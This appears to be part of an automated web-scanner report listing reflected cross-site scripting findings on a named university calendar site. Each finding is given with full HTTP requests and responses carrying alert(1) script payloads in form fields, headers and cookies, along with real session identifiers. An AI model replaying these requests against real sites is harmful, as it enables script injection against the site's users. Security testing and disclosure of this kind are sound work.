1.10. https://calendar.champlain.edu/MasterCalendar.aspx [__VIEWSTATE parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /MasterCalendar.aspx

Issue detail

The value of the __VIEWSTATE request parameter is copied into the HTML document as plain text between tags. The payload 94347<script>alert(1)</script>11a498b48d1 was submitted in the __VIEWSTATE parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /MasterCalendar.aspx HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: https://calendar.champlain.edu/MasterCalendar.aspx
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: calendar.champlain.edu
Content-Length: 2729
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: mycc_ss=2; ASP.NET_SessionId=kmpzb22rtdj2bl55i0u1gimy


ems_StandardBrowseGrid_sortColumn=TimeEventStart&ems_StandardBrowseGrid_sortDirection=ASC&ems_StandardBrowseGrid_groupBy=StartDate&__EVENTTARGET=&__EVENTARGUMENT=&ems_calDate=2011-12-26&ems_
...[SNIP]...
8rzAamx7ayeAAcNt3HNb%2FWeM%2BCnSnY3TqB57vuE6AGCcwwGCrHJ2akMxiRLltoKEAV6QXaIvmUthVMuaC5SFwB8vKGg3Bi05HWkkp7jdTrPhWNCRoEYmJKDSn9ZLLkbWvx%2F1kAL7CQikIFL%2FeqiqQzvp4aaXTgYvom5l4T6WhGO0CPmvsmEb2ZUJkFMEw%3D94347<script>alert(1)</script>11a498b48d1&__VIEWSTATEENCRYPTED=&ctl00%24pc%24sc%24randomDates=&ctl00%24pc%24cs%24EventTypes%24ddl=-1&ctl00%24pc%24cp%24calendarIds=&ctl00%24pc%24SearchBox%24box=&ctl00%24pc%24CalendarDate%24DateBox=12%2F26%2F2
...[SNIP]...

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 4265
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 01:59:04 GMT

<h1>Error In Page</h1><hr/>Error Message: The state information is invalid for this page and might be corrupted.<hr /><b>Stack Trace: </b><br/>System.Web.HttpException: The state information is invali
...[SNIP]...
wbkjdtBWOTf8rzAamx7ayeAAcNt3HNb/WeM+CnSnY3TqB57vuE6AGCcwwGCrHJ2akMxiRLltoKEAV6QXaIvmUthVMuaC5SFwB8vKGg3Bi05HWkkp7jdTrPhWNCRoEYmJKDSn9ZLLkbWvx/1kAL7CQikIFL/eqiqQzvp4aaXTgYvom5l4T6WhGO0CPmvsmEb2ZUJkFMEw=94347<script>alert(1)</script>11a498b48d1<br />
...[SNIP]...

1.11. https://calendar.champlain.edu/Search.aspx [__EVENTVALIDATION parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /Search.aspx

Issue detail

The value of the __EVENTVALIDATION request parameter is copied into the HTML document as plain text between tags. The payload e891c<script>alert(1)</script>1480e12177e was submitted in the __EVENTVALIDATION parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /Search.aspx HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: https://calendar.champlain.edu/Search.aspx
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: calendar.champlain.edu
Content-Length: 3647
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: mycc_ss=2; ASP.NET_SessionId=kmpzb22rtdj2bl55i0u1gimy; MCCookie=email=xss


__LASTFOCUS=&ems_SearchGrid_sortColumn=StartDate&ems_SearchGrid_sortDirection=ASC&ems_SearchGrid_groupBy=StartDate&ems_SpecialDatesSearchGrid_sortColumn=EventDate&ems_SpecialDatesSearchGrid_
...[SNIP]...
00ANOSfcL7OUPv9cW93PUbc9tS3HrXkCy3khJud3GEzmPCfyBE1O9racA0JAg%2BRaBC1lLUO9zSMiWy%2B71bqwCRKQX2KrGowabGRKTdoXCPI2KHCfLV8fNNz69hN%2BViUVHoc3Q%2Fc9I%2Fvl7ub1lITOTtFL5xGqp106vDjtbs%2BvqQTJfO3N0EqdsQ%3D%3De891c<script>alert(1)</script>1480e12177e

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 4341
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 02:09:56 GMT

<h1>Error In Page</h1><hr/>Error Message: The state information is invalid for this page and might be corrupted.<hr /><b>Stack Trace: </b><br/>System.Web.HttpException: The state information is invali
...[SNIP]...
U1si2Q8X0KWOJF1qT00ANOSfcL7OUPv9cW93PUbc9tS3HrXkCy3khJud3GEzmPCfyBE1O9racA0JAg+RaBC1lLUO9zSMiWy+71bqwCRKQX2KrGowabGRKTdoXCPI2KHCfLV8fNNz69hN+ViUVHoc3Q/c9I/vl7ub1lITOTtFL5xGqp106vDjtbs+vqQTJfO3N0EqdsQ==e891c<script>alert(1)</script>1480e12177e<br />
...[SNIP]...

1.12. https://calendar.champlain.edu/Search.aspx [__VIEWSTATE parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /Search.aspx

Issue detail

The value of the __VIEWSTATE request parameter is copied into the HTML document as plain text between tags. The payload 43c6f<script>alert(1)</script>8949753c03a was submitted in the __VIEWSTATE parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /Search.aspx HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: https://calendar.champlain.edu/Search.aspx
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: calendar.champlain.edu
Content-Length: 3647
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: mycc_ss=2; ASP.NET_SessionId=kmpzb22rtdj2bl55i0u1gimy; MCCookie=email=xss


__LASTFOCUS=&ems_SearchGrid_sortColumn=StartDate&ems_SearchGrid_sortDirection=ASC&ems_SearchGrid_groupBy=StartDate&ems_SpecialDatesSearchGrid_sortColumn=EventDate&ems_SpecialDatesSearchGrid_sortDirection=ASC&__EVENTTARGET=&__EVENTARGUMENT=&ems_SearchGrid_CheckedRows=&ems_SpecialDatesSearchGrid_CheckedRows=&ems_Tabs1_onTab=0&ems_SpecialDatesSearchGrid_groupBy=&__VIEWSTATE=43c6f<script>alert(1)</script>8949753c03a&__VIEWSTATEENCRYPTED=&ctl00%24pc%24StartDate%24DateBox=&ctl00%24pc%24EndDate%24DateBox=&ctl00%24pc%24SearchBox%24box=&ctl00%24pc%24EventTypes%24ddl=-1&ctl00%24pc%24EventTypeOptions=SearchByEvent&ctl0
...[SNIP]...

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 3581
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 02:09:53 GMT

<h1>Error In Page</h1><hr/>Error Message: The state information is invalid for this page and might be corrupted.<hr /><b>Stack Trace: </b><br/>System.Web.HttpException: The state information is invali
...[SNIP]...
<br />    ViewState: 43c6f<script>alert(1)</script>8949753c03a<br />
...[SNIP]...

1.13. https://calendar.champlain.edu/SystemCheck.aspx [%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /SystemCheck.aspx

Issue detail

The value of the %27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA request parameter is copied into the HTML document as plain text between tags. The payload 545f3<script>alert(1)</script>6d16f88edbe was submitted in the %27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /SystemCheck.aspx?%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA545f3<script>alert(1)</script>6d16f88edbe HTTP/1.1
Host: calendar.champlain.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 116205
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 02:27:29 GMT
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1"><title>
   S
...[SNIP]...
<td>%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA545f3<script>alert(1)</script>6d16f88edbe</td>
...[SNIP]...

1.14. https://calendar.champlain.edu/SystemCheck.aspx [%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA)%3C/script%3E parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /SystemCheck.aspx

Issue detail

The value of the %27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA)%3C/script%3E request parameter is copied into the HTML document as plain text between tags. The payload e6f99<script>alert(1)</script>528562cb29f was submitted in the %27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA)%3C/script%3E parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /SystemCheck.aspx?%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA)%3C/script%3Ee6f99<script>alert(1)</script>528562cb29f HTTP/1.1
Host: calendar.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 119576
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 02:26:25 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1"><title>
   S
...[SNIP]...
<td>%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA)%3C/script%3Ee6f99<script>alert(1)</script>528562cb29f</td>
...[SNIP]...

1.15. https://calendar.champlain.edu/SystemCheck.aspx ['%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3ealert(0x0001BA)%3c%2fscript%3e parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /SystemCheck.aspx

Issue detail

The value of the '%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3ealert(0x0001BA)%3c%2fscript%3e request parameter is copied into the HTML document as plain text between tags. The payload 1b238<script>alert(1)</script>7ff3d40b76f was submitted in the '%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3ealert(0x0001BA)%3c%2fscript%3e parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /SystemCheck.aspx?'%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3ealert(0x0001BA)%3c%2fscript%3e1b238<script>alert(1)</script>7ff3d40b76f HTTP/1.1
Host: calendar.champlain.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 116263
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 02:27:29 GMT
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1"><title>
   S
...[SNIP]...
<td>'%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3ealert(0x0001BA)%3c%2fscript%3e1b238<script>alert(1)</script>7ff3d40b76f</td>
...[SNIP]...

1.16. https://calendar.champlain.edu/SystemCheck.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /SystemCheck.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload ec18e<script>alert(1)</script>ae736c5f47 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /SystemCheck.aspx?%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA)%3C/script%3E&ec18e<script>alert(1)</script>ae736c5f47=1 HTTP/1.1
Host: calendar.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 119584
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 02:26:31 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1"><title>
   S
...[SNIP]...
<td>%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA)%3C/script%3E&ec18e<script>alert(1)</script>ae736c5f47=1</td>
...[SNIP]...

1.17. https://calendar.champlain.edu/SystemCheck.aspx [sb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /SystemCheck.aspx

Issue detail

The value of the sb request parameter is copied into the HTML document as plain text between tags. The payload bd276<script>alert(1)</script>ab984ae6cb2 was submitted in the sb parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /SystemCheck.aspx?sb=1bd276<script>alert(1)</script>ab984ae6cb2 HTTP/1.1
Host: calendar.champlain.edu
Connection: keep-alive
Content-Length: 21450
Cache-Control: max-age=0
Origin: https://calendar.champlain.edu
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://calendar.champlain.edu/SystemCheck.aspx?sb=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2; ASP.NET_SessionId=j2r0an552jwuk545r2ntawbk


backToPage=&__VIEWSTATE=%2FwEPDwUIMjUzMTEzNDUPZBYCAgMPZBYeAgEPDxYCHgRUZXh0BQg0LjAuMC4zNGRkAgMPDxYCHwBlZGQCBQ9kFgJmD2QWBAIBDw8WAh8ABSFzZXJ2ZXI9O2RhdGFiYXNlPW1hc3Rlcl9jYWxlbmRhcjtkZAIDDw8WAh8A
...[SNIP]...

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 122380
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 02:26:31 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1"><title>
   S
...[SNIP]...
<td>sb=1bd276<script>alert(1)</script>ab984ae6cb2</td>
...[SNIP]...

1.18. https://calendar.champlain.edu/default.aspx [__VIEWSTATE parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /default.aspx

Issue detail

The value of the __VIEWSTATE request parameter is copied into the HTML document as plain text between tags. The payload aba61<script>alert(1)</script>d5bef6e99c2faab72 was submitted in the __VIEWSTATE parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /default.aspx?__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJODIzNzU5ODg2D2QWAmYPZBYCAgMPZBYCAgMPZBYGAgEPZBYCAgEPZBYCZg8PFgIeC05hdmlnYXRlVXJsBQEvZBYCZg8PFgQeDUFsdGVybmF0ZVRleHRlHgpTdG9yYWdlS2V5BSRmZjQ1NDVmOC01ZmU3LTRmMWQtOTZmZi00YjdkYWMyYTdmNzFkZAILDw8WAh4HVmlzaWJsZWhkZAIND2QWBAIDDxYCHwNoZAIFD2QWAgIDD2QWAmYPDxYCHwNoZGRkgPqcPYXgK0F97xNAqJKtMUZSHy8%3Daba61<script>alert(1)</script>d5bef6e99c2faab72&ctl00%24pc%24ctl01%24calendarIds=&__CALLBACKID=__Page&__CALLBACKPARAM=%7B%22calIds%22%3A%223%2C4%2C1%22%2C%22router%22%3A%22viewCalendar%22%7D&__EVENTVALIDATION=%2FwEWAgKy9JHdDgKE6OCqDvfE059JH4E8gUWiYMQQnqO6jBM5 HTTP/1.1
Host: calendar.champlain.edu
Connection: keep-alive
Origin: https://calendar.champlain.edu
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: */*
Referer: https://calendar.champlain.edu/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2; ASP.NET_SessionId=j2r0an552jwuk545r2ntawbk

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 3908
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 02:26:50 GMT

<h1>Error In Page</h1><hr/>Error Message: The state information is invalid for this page and might be corrupted.<hr /><b>Stack Trace: </b><br/>System.Web.HttpException: The state information is invali
...[SNIP]...
CZg8PFgQeDUFsdGVybmF0ZVRleHRlHgpTdG9yYWdlS2V5BSRmZjQ1NDVmOC01ZmU3LTRmMWQtOTZmZi00YjdkYWMyYTdmNzFkZAILDw8WAh4HVmlzaWJsZWhkZAIND2QWBAIDDxYCHwNoZAIFD2QWAgIDD2QWAmYPDxYCHwNoZGRkgPqcPYXgK0F97xNAqJKtMUZSHy8=aba61<script>alert(1)</script>d5bef6e99c2faab72<br />
...[SNIP]...

1.19. https://calendar.champlain.edu/CuteEditor/Template.aspx [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /CuteEditor/Template.aspx

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7ce7b"><script>alert(1)</script>10fcdf475c1 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /CuteEditor/Template.aspx HTTP/1.1
Host: calendar.champlain.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=7ce7b"><script>alert(1)</script>10fcdf475c1

Response

HTTP/1.1 200 OK
Cache-Control: private, max-age=31536000
Content-Length: 361
Content-Type: text/html; charset=utf-8
Expires: Tue, 25 Dec 2012 02:27:30 GMT
Last-Modified: Mon, 26 Dec 2011 02:27:30 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 02:27:29 GMT
Connection: close


<html>
   <head>
       <title>Untitled</title>
       <meta name="GENERATOR" content="CuteEditor">
       <base target="_blank" href="http://www.google.com/search?hl=en&q=7ce7b"><script>alert(1)</script>10fcdf475c1" />
...[SNIP]...

1.20. https://calendar.champlain.edu/SystemCheck.aspx [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /SystemCheck.aspx

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 17213<script>alert(1)</script>5f8c308ab0 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /SystemCheck.aspx?%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA)%3C/script%3E HTTP/1.1
Host: calendar.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10
Referer: http://www.google.com/search?hl=en&q=17213<script>alert(1)</script>5f8c308ab0


Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 120454
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 02:26:33 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1"><title>
   S
...[SNIP]...
<td>http://www.google.com/search?hl=en&q=17213<script>alert(1)</script>5f8c308ab0</td>
...[SNIP]...

1.21. https://calendar.champlain.edu/SystemCheck.aspx [User-Agent HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /SystemCheck.aspx

Issue detail

The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 2fb6b<script>alert(1)</script>5c4a28b8db3 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /SystemCheck.aspx?%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA)%3C/script%3E HTTP/1.1
Host: calendar.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.72fb6b<script>alert(1)</script>5c4a28b8db3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 119812
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 02:26:32 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1"><title>
   S
...[SNIP]...
<td>Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.72fb6b<script>alert(1)</script>5c4a28b8db3</td>
...[SNIP]...

1.22. https://calendar.champlain.edu/SystemCheck.aspx [ASP.NET_SessionId cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /SystemCheck.aspx

Issue detail

The value of the ASP.NET_SessionId cookie is copied into the HTML document as plain text between tags. The payload 5cee3<script>alert(1)</script>ae0f693ba58 was submitted in the ASP.NET_SessionId cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

POST /SystemCheck.aspx?sb=1 HTTP/1.1
Host: calendar.champlain.edu
Connection: keep-alive
Content-Length: 21450
Cache-Control: max-age=0
Origin: https://calendar.champlain.edu
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://calendar.champlain.edu/SystemCheck.aspx?sb=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2; ASP.NET_SessionId=j2r0an552jwuk545r2ntawbk5cee3<script>alert(1)</script>ae0f693ba58


backToPage=&__VIEWSTATE=%2FwEPDwUIMjUzMTEzNDUPZBYCAgMPZBYeAgEPDxYCHgRUZXh0BQg0LjAuMC4zNGRkAgMPDxYCHwBlZGQCBQ9kFgJmD2QWBAIBDw8WAh8ABSFzZXJ2ZXI9O2RhdGFiYXNlPW1hc3Rlcl9jYWxlbmRhcjtkZAIDDw8WAh8A
...[SNIP]...

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 122907
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 02:26:33 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1"><title>
   S
...[SNIP]...
<td>j2r0an552jwuk545r2ntawbk5cee3<script>alert(1)</script>ae0f693ba58</td>
...[SNIP]...

1.23. https://calendar.champlain.edu/SystemCheck.aspx [mycc_ss cookie]  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /SystemCheck.aspx

Issue detail

The value of the mycc_ss cookie is copied into the HTML document as plain text between tags. The payload fc340<script>alert(1)</script>7f57111a895 was submitted in the mycc_ss cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

